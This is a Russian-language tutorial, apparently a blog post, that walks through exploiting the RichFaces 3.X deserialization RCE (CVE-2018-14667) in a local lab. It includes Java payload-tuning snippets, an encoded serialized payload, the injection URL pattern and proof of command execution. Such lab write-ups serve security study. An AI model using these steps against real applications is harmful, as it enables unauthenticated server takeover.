
Все о CVE-2018-14667; от того, что это такое, до того, как успешно его эксплуатировать.
Потратив много времени на понимание и корректную эксплуатацию этой уязвимости CVE, я решил создать репозиторий с ошибкой RCE в RichFaces 3.X и поделиться пошаговым руководством с сообществом.
0x00 : Введение в ошибку RichFaces 3.X
В понедельник, 19 ноября, Жоау Ф.М. Фигейреду опубликовал хорошо детализированную статью (https://seclists.org/fulldisclosure/2018/Nov/47) о критической уязвимости высокого риска в RichFaces.
CVSS3 Базовая оценка: 9.8
Эта уязвимость позволит любому неаутентифицированному пользователю выполнить удалённый код на любом веб-приложении, использующем RichFaces 3.X (все версии), что является наихудшим сценарием.
0x01 : Затрагивает ли это меня? ![]()
Что ж, если вы используете RichFaces 3.X (любую версию RichFaces 3) и видите в своём исходном коде следующие элементы, весьма вероятно, что вы уязвимы для удалённого выполнения кода через CVE-2018-14667:
0x02 : Запуск уязвимой среды для тестирования ошибки ![]()
Я в основном повторно объясню то, что уже было освещено в статье на seclists.org, о том, как развернуть уязвимую среду.
0x03 : Генерация корректной полезной нагрузки ![]()
Теперь самое интересное! Именно здесь у меня возникли трудности, поэтому я подробно объясню, как сгенерировать корректную полезную нагрузку, не повторяя моих ошибок. Сначала рекомендую использовать Eclipse для компиляции полезной нагрузки.
// Class clazz = Class.forName("javax.el.MethodExpression");
// Field field = clazz.getField("serialVersionUID");
// field.setAccessible(true);
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setLong(null, MethodExpressionSerialVersionUID);
Результат в Eclipse должен выглядеть примерно так:
/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
0x04 : Отправка полезной нагрузки и получение удалённого выполнения кода ![]()
Перейдите в браузере на ваш локальный сервер JBoss, запускающий веб-приложение PhotoAlbum: http://192.168.100.2:8080/photoalbum, щёлкните правой кнопкой мыши и выберите "Просмотреть исходный код страницы". Нажмите Ctrl+F и найдите '/DATA/'. Вы должны увидеть нечто похожее на это:
src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip"
Вы чётко видите сериализованный объект. Именно здесь мы заменим сериализованный объект нашей полезной нагрузкой, чтобы получить удалённое выполнение кода. В браузере измените URL на http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/ВАША-ПОЛЕЗНАЯ-НАГРУЗКА-СГЕНЕРИРОВАННАЯ-В-ECLIPSE. Моя полезная нагрузка выполняла команду 'touch /tmp/PoorRichFaces'. Посмотрим, был ли у меня успех:
drwxrwxrwt 12 root root 32768 Nov 30 01:45 .
drwxr-xr-x 25 root root 4096 Nov 25 12:57 ..
-rw-rw-r-- 1 syrius syrius 0 Nov 30 1:27 PoorRichFaces
Приятно, не правда ли? Мы только что получили RCE на Java-веб-приложении, работающем на RichFaces 3.X.